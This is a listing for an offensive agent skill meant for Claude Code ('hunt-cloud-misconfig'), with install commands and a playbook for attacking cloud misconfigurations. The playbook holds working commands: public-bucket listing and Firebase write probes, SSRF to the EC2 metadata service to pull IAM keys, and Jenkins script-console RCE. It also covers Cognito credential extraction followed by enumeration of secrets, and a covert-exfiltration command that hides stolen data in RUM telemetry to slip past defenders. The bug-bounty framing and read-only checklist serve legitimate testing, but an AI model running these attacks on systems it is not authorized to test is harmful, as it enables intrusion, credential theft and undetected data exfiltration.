hunt-cloud-misconfig

Agent Skills › elementalsouls/Claude-BugHunter › hunt-cloud-misconfig

hunt-cloud-misconfig

GitHub

用于探测云基础设施配置错误，涵盖AWS/GCP/Azure的公开存储桶、元数据泄露及暴露的管理面板。通过定向搜索和端口扫描检测，并验证实际读写或RCE风险。

skills/hunt-cloud-misconfig/SKILL.md elementalsouls/Claude-BugHunter

Trigger Scenarios

发现云存储桶公开访问检测到服务器端请求伪造(SSRF)尝试获取元数据识别到暴露的管理控制台如Jenkins或Grafana

Install

npx skills add elementalsouls/Claude-BugHunter --skill hunt-cloud-misconfig -g -y

More Options

Use without installing

npx skills use elementalsouls/Claude-BugHunter@hunt-cloud-misconfig

指定 Agent (Claude Code)

npx skills add elementalsouls/Claude-BugHunter --skill hunt-cloud-misconfig -a claude-code -g -y

安装 repo 全部 skill

npx skills add elementalsouls/Claude-BugHunter --all -g -y

预览 repo 内 skill

npx skills add elementalsouls/Claude-BugHunter --list

SKILL.md

Frontmatter

{
    "name": "hunt-cloud-misconfig",
    "sources": "hackerone_public, public_research",
    "description": "Hunt cloud \/ infrastructure misconfigurations. AWS: public S3 buckets (s3:GetObject anonymous), permissive bucket policies (PutObjectAcl public-write), exposed CloudFront origin, public Lambda function URL, public RDS snapshot, IAM credentials in JS bundles, AWS metadata accessible via SSRF. GCP: public GCS buckets, exposed Cloud Run services, leaked service account JSON. Azure: public blob containers, exposed Function App. (Kubernetes\/Docker exposure is owned by hunt-k8s; CI\/CD pipeline attacks by hunt-cicd; post-credential IAM escalation by cloud-iam-deep.) Detection: targeted dorking, certificate transparency, JS bundle secret extraction, port scan for known service ports. Validate: actual data read \/ write \/ RCE. Use when hunting cloud-native storage and compute misconfig (S3\/GCS\/Blob, IMDS-via-SSRF, serverless, public managed services).",
    "report_count": 6
}

16. CLOUD / INFRA MISCONFIGS

S3 / GCS / Azure Blob

# S3 listing
curl -s "https://TARGET-NAME.s3.amazonaws.com/?max-keys=10"
aws s3 ls s3://target-bucket-name --no-sign-request

# Try common bucket names
for name in target target-backup target-assets target-prod target-staging; do
  curl -s -o /dev/null -w "$name: %{http_code}\n" "https://$name.s3.amazonaws.com/"
done

# Firebase open rules
curl -s "https://TARGET-APP.firebaseio.com/.json"   # read
curl -s -X PUT "https://TARGET-APP.firebaseio.com/test.json" -d '"pwned"'  # write

EC2 Metadata (via SSRF)

http://169.254.169.254/latest/meta-data/iam/security-credentials/  # role name
http://169.254.169.254/latest/meta-data/iam/security-credentials/ROLE-NAME  # keys

Exposed Admin Panels

/jenkins  /grafana  /kibana  /elasticsearch  /swagger-ui.html
/phpMyAdmin  /.env  /config.json  /api-docs  /server-status

Jenkins SSO-restriction failure → Script Console RCE

An exposed Jenkins that authenticates ANY personal Google/OAuth account (missing org-domain restriction) is full compromise: log in, then /script (Groovy console) = RCE, and /credentials + /scriptText = stored API tokens and source disclosure. Disclosed: reports/231460.

Exposed message broker (RabbitMQ / AMQP) with default creds

Probe RabbitMQ management (http://TARGET:15672/, API :15672/api/overview) and AMQP :5672; try default guest:guest (works off-localhost when loopback_users is misconfigured) → queue/message read, vhost enumeration, management-plugin admin. Disclosed: reports/753602.

Local-verification toolchain

For testing cloud-misconfig findings against a local AWS sim before/instead of hitting real cloud:

# LocalStack 3.0 community (pin the version — 4.x requires a Pro license)
docker run -d --name lab-localstack -p 14566:4566 localstack/localstack:3.0

# awscli ≥ 2.30 + LocalStack 3.0 incompatibility workaround (x-amz-trailer header):
export AWS_REQUEST_CHECKSUM_CALCULATION=when_required
export AWS_RESPONSE_CHECKSUM_VALIDATION=when_required
export AWS_ENDPOINT_URL=http://localhost:14566
export AWS_ACCESS_KEY_ID=test AWS_SECRET_ACCESS_KEY=test AWS_DEFAULT_REGION=us-east-1

Without those env vars, aws s3 cp/sync fails with InvalidRequest. Document this for the team. See docs/verification/phase2j-cloud-localstack.md for the full reproducible flow.

CloudWatch RUM Weaponization (2024-2026 surface)

AWS CloudWatch RUM (Real-User Monitoring) is a client-side telemetry service launched late 2021. Customers embed a JS snippet on their pages that sends performance/error events to dataplane.rum.<region>.amazonaws.com. The snippet's AppMonitor config contains an identityPoolId (Cognito) and guestRoleArn (IAM role) — both public by design. The IAM role policy is the security boundary, and when developers leave it broader than the documented minimum (rum:PutRumEvents on the AppMonitor ARN), the entire pool becomes the unauthenticated AWS-credential vending machine described in cloud-iam-deep → Cognito Identity Pool chain.

Detection — JS bundle fingerprints

Snippet-style (most common, embedded in <head>):

(function(n,i,v,r,s,c,x,z){...})(
  'cwr',
  '00000000-0000-0000-0000-000000000000',                       // applicationId (UUID)
  '1.0.0',
  'us-east-1',
  'https://client.rum.us-east-1.amazonaws.com/1.x/cwr.js',
  {
    sessionSampleRate: 1,
    guestRoleArn: "arn:aws:iam::123456789012:role/RUM-Monitor-...-Unauth",
    identityPoolId: "us-east-1:abcd1234-...",
    endpoint: "https://dataplane.rum.us-east-1.amazonaws.com",
    telemetries: ["errors","performance","http"]
  }
);

NPM-style (aws-rum-web package):

import { AwsRum, AwsRumConfig } from 'aws-rum-web';
const config: AwsRumConfig = { identityPoolId, endpoint, guestRoleArn, ... };
const awsRum = new AwsRum(APPLICATION_ID, '1.0.0', AWS_REGION, config);

Regex set for recon

# Detect RUM init
grep -REn "cwr\(['\"]init['\"]|from\s+['\"]aws-rum-web['\"]|new\s+AwsRum\(" .

# Extract applicationId (UUID v4)
grep -ErohE "applicationId['\"]?\s*[:=]\s*['\"]([0-9a-f]{8}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{12})['\"]" .

# Extract identityPoolId (region:UUID)
grep -ErohE "identityPoolId['\"]?\s*[:=]\s*['\"]([a-z]{2}-[a-z]+-[0-9]+:[0-9a-f-]{36})['\"]" .

# Extract guestRoleArn (leaks AWS account ID + role name)
grep -ErohE "guestRoleArn['\"]?\s*[:=]\s*['\"]arn:aws:iam::[0-9]{12}:role/[A-Za-z0-9._/-]+['\"]" .

# Endpoint reveals region
grep -ErohE "dataplane\.rum\.[a-z0-9-]+\.amazonaws\.com" .

Attack chains

Chain A — Credential extraction (Critical when guestRole is over-permissioned). Once identityPoolId is extracted from the page, anyone runs:

aws cognito-identity get-id \
  --identity-pool-id "us-east-1:abcd1234-..." \
  --region us-east-1 --no-sign-request
aws cognito-identity get-credentials-for-identity \
  --identity-id "us-east-1:<returned-uuid>" \
  --region us-east-1 --no-sign-request
# → STS creds; export and:
aws sts get-caller-identity        # confirm role
aws s3 ls; aws dynamodb list-tables; aws lambda list-functions; aws ssm describe-parameters; aws secretsmanager list-secrets
# Automate: pacu / enumerate-iam.py

Full chain documented in cloud-iam-deep → Cognito Identity Pool unauthenticated chain. RUM is one common embedding context.

Chain B — Telemetry endpoint covert exfil. dataplane.rum.<region>.amazonaws.com is an AWS-owned domain on every enterprise allowlist. The PutRumEvents payload accepts arbitrary userDetails and customEvents string fields:

aws rum put-rum-events \
  --id $(uuidgen) \
  --app-monitor-details '{"id":"<appId>","version":"1.0.0"}' \
  --user-details '{"userId":"EXFIL_PAYLOAD_HERE","sessionId":"<session>"}' \
  --rum-events '[{"id":"'$(uuidgen)'","timestamp":'$(date +%s)',"type":"com.amazon.rum.custom_event","details":"{\"exfil\":\"<base64 of stolen data>\"}"}]' \
  --endpoint-url "https://dataplane.rum.us-east-1.amazonaws.com" \
  --region us-east-1

Defenders watching egress see traffic to a known-good AWS hostname; DLP doesn't parse the JSON body; SIEM rules typically don't ingest customer RUM telemetry.

Chain C — DOM injection via snippet source poisoning. Many customers either self-host cwr.js on their own CDN (assets.target.com/cwr.js) or bundle aws-rum-web and serve from static.target.com/main.<hash>.js. Subdomain takeover on the JS host or supply-chain compromise (npm typosquat against aws-rum-webb) gives persistent JS execution on every page-load with the trust of the aws-rum-web SDK — including its already-granted Cognito permissions.

Chain D — Telemetry injection / dashboard poisoning. With the public identityPoolId + applicationId, an external attacker can flood PutRumEvents with fake error spikes (drown real alerts), inject XSS payloads into page-URL telemetry that fire when an SOC analyst views the CloudWatch dashboard, and inflate billable RUM event counts (financial DoS).

Severity rubric

Finding	Severity	Justification
`guestRoleArn` with `:` or wildcards on multiple services	Critical (9.1+)	Anonymous full AWS access
`guestRoleArn` with `s3:`, `dynamodb:`, `secretsmanager:`, `lambda:Invoke` on production resources	High (7.5-8.8)	Data exfil / RCE depending on resource
`guestRoleArn` with `cognito-identity:*` or `iam:PassRole`	High (8.0)	Privilege escalation primitive
`guestRoleArn` with only `rum:PutRumEvents` + endpoint-scoped resource	Informational	Documented, intended config
RUM `userDetails` logging PII into events viewable in CloudWatch console	Medium (5.3-6.5)	Sensitive data exposure via dashboard sharing
RUM AppMonitor accepts `PutRumEvents` from arbitrary internet sources (telemetry injection)	Low-Medium (4.3)	Dashboard poisoning, alert evasion, billing DoS
Self-hosted `cwr.js` on takeoverable subdomain	Critical (9.8) when chained	Persistent stored XSS across every customer page

Disclosed cases / authoritative writeups

No CVE assigned specifically to AWS RUM as of 2026-05. The attack class is documented in research but specific named bug-bounty payouts on RUM are rare in public hacktivity. The pattern is "Cognito identity pool over-permission via embedded SDK" — RUM is one common embedding.

Andres Riancho — "Misconfigured Cognito Identity Pools" (2020/2023) — establishes the attack class. andresriancho.com
Rhino Security Labs — Pacu cognito__enum_identity_pools — production tooling that automates Chain A. github.com/RhinoSecurityLabs/pacu
NotSoSecure / Claranet — "Exploiting weak configurations in Amazon Cognito" (Nov 2023) — explicitly calls out RUM as one of three SDKs commonly leaking the pool ID. notsosecure.com
HackTricks Cloud — aws-cognito-unauthenticated-enum — canonical playbook. cloud.hacktricks.wiki
Datadog Security Labs — "Following AWS Logs Backwards: Cognito Identity Pool Abuse" (2024) — telemetry showing real-world abuse rates. securitylabs.datadoghq.com
aws-observability/aws-rum-web GitHub issues #213, #404 — community discussion of the bundled-snippet security model. github.com/aws-observability/aws-rum-web

Validation checklist (before reporting)

Extract identityPoolId from page source.
Confirm pool allows unauth identities (get-id succeeds without auth).
Confirm get-credentials-for-identity returns STS creds.
Run aws sts get-caller-identity and screenshot the role ARN.
Run enumerate-iam / Pacu iam__enum_permissions — capture at least one allowed action beyond rum:PutRumEvents. Without this, the finding is Informational.
Demonstrate at least one read/list against a real resource (S3 bucket list, DynamoDB scan, Lambda invoke).
Do not modify/delete data even if permitted — read-only PoC only.

Related Skills & Chains

hunt-subdomain — Stale CNAMEs pointing to deleted buckets are a takeover gold mine. Chain primitive: Cloud misconfig (S3 public/deleted) + hunt-subdomain → unclaimed CNAME points to bucket → assets.target.com takeover.
cloud-iam-deep — A leaked SA JSON / AWS key in a public bucket is only half the bug. Chain primitive: Public S3 + leaked AWS key in .env → cloud-iam-deep enumeration → cross-service iam:PassRole escalation.
hunt-ssrf — Metadata service is reachable only from inside the VPC; SSRF is the bridge. Chain primitive: SSRF + cloud misconfig (IMDSv1 still enabled) → instance role keys → S3/RDS data read.
supply-chain-attack-recon — Exposed CI/CD endpoints and SBOMs reveal internal package names. Chain primitive: Exposed Jenkins/GitLab + internal package name leak → npm/PyPI dependency-confusion publish → CI build pwn.
security-arsenal — Load the Cloud Bucket Wordlist (target-prod / target-backup / target-staging permutations) and the Admin-Panel Path List for fast enumeration.
triage-validation — Apply the Unique-Marker gate: any "writable bucket" claim requires a write of a unique marker file and a read-back from a clean session before report submission.

Version History

0efc24c Current 2026-09-02 20:55

Metadata

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Version: 0efc24c
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Indexed: 2026-09-02 20:55

hunt-cloud-misconfig